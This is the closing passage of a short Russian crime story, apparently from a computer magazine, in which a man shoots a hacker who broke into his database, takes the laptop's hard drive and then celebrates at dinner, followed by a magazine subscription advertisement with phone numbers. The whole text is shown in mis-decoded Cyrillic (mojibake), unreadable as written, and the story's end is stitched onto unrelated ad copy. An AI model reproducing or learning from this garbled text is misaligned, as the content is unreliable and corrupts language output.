ðàñïîçíàëà. Íå óäèâèòåëüíî: ÷òîáû óçíàâàòü çàïàõ ïîðîõà, íàäî âðåìÿ îò
âðåìåíè ñòðåëÿòü...

Ïèñòîëåò îí óñïåë ñïðÿòàòü: êóïèâ áóêåò ðîç íà óëèöå, îí âûíóë îðóæèå
èç ìàøèíû è ñïðÿòàë ñðåäè öâåòîâ. Çàñòðåëèòü ïàðíÿ ñ íîóòáóêîì áûëî äåëîì
îäíîé ñåêóíäû. Îí âñåãî ëèøü ñäåëàë âèä, ÷òî âñòðåòèë ñòàðîãî çíàêîìîãî,
ïîäñåë, ïîãîâîðèë è îñòàâèë åãî îäíîãî îòäûõàòü... Áîëüøå âðåìåíè ïîòðåáî-
âàëîñü íà òî, ÷òîáû âûíóòü èç íîóòáóêà âèí÷åñòåð — ñëàâà áîãó, îí îêàçàëñÿ
íà ñàëàçêàõ, à Ìàêñèì óæå áûëî ñîáèðàëñÿ âîñïîëüçîâàòüñÿ îòâåðòêîé.

Íå ïåðâûé ðàç åìó ïûòàëèñü ïîäñòàâèòü ïîäíîæêó, çàëåçàÿ â åãî áàçó.
Íàëàäîííèê, ñëîâíî âåðíàÿ ñîáàêà, òóò æå èçâåñòèë î âçëîìå, íî Ìàêñèì, ãî-
òîâûé ê ïîäîáíîìó ðàçâèòèþ ñèòóàöèè, íè÷åì íå âûäàë ñåáÿ, çàêîí÷èë ñâîþ
ðàáîòó è ñóìåë âû÷èñëèòü îáèä÷èêà.

Òåïåðü ãîðÿ÷èé ãëóøèòåëü ãðåë åìó æèâîò, ïåðåä íèì ñèäåëà ñàìàÿ êðà-
ñèâàÿ æåíùèíà â ìèðå, èõ ðàäîâàë íàêðûòûé ñòîë è èãðà âèíà â áîêàëàõ, íà
êðåäèòíóþ êàðòî÷êó âíîâü íà÷èñëåíà íîâàÿ ñóììà äåíåã.
— «Àìàçîíèÿ», — ïðîèçíåñ îí, ñëîâíî ïðîáóÿ ñëîâî íà âêóñ. — Íàäî áûâàòü
çäåñü ïî÷àùå.

È îíè ïîäíÿëè áîêàëû... 
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Ïîïðîáóéòå ïîäïèñàòüñÿ â ðåäàêöèè, ïîçâîíèòå íàì.

(ýòî óäîáíåå, ÷åì ïðèíÿòî äóìàòü 

Õàêåð Ñïåö Æåëåçî

Ìîáèëüíûå
êîìïüþòåðû

SYNC Ëó÷øèå öèôðî-
âûå êàìåðû

Maxi TuningÑòðàíà Èãð ÐÑ ÈãðûÕàêåð

Total DVD Onboard Mountain Bike
Action

Õóëèãàí Ñâîé áèçíåñDVD Ýêñïåðò Total Football

Äëÿ ïîäïèñ÷èêîâ â Ìîñêâå êóðüåðñêàÿ
äîñòàâêà ÁÅÑÏËÀÒÍÎ â äåíü âûõîäà æóðíàëà
Äåøåâëå, ÷åì â ðîçíèöó
Ãàðàíòèÿ äîñòàâêè è çàìåíû â ñëó÷àå ïîòåðè
Ñïåöèàëüíûå ïðåäëîæåíèÿ äëÿ ïîäïèñ÷èêîâ
Ïåðâûé íîìåð ïîäïèñêè âûñûëàåòñÿ ïî çâîíêó
âìåñòå ñ çàïîëíåííîé êâèòàíöèåé äëÿ îïëàòû

8-495-780-88-29 (äëÿ Ìîñêâû)

8-800-200-3-999 (äëÿ Ðîññèè)

ÂÑÅ ÇÂÎÍÊÈ ÁÅÑÏËÀÒÍÛÅ
Ìû ðàáîòàåì ñ 9 äî 18 ïî ðàáî÷èì äíÿì
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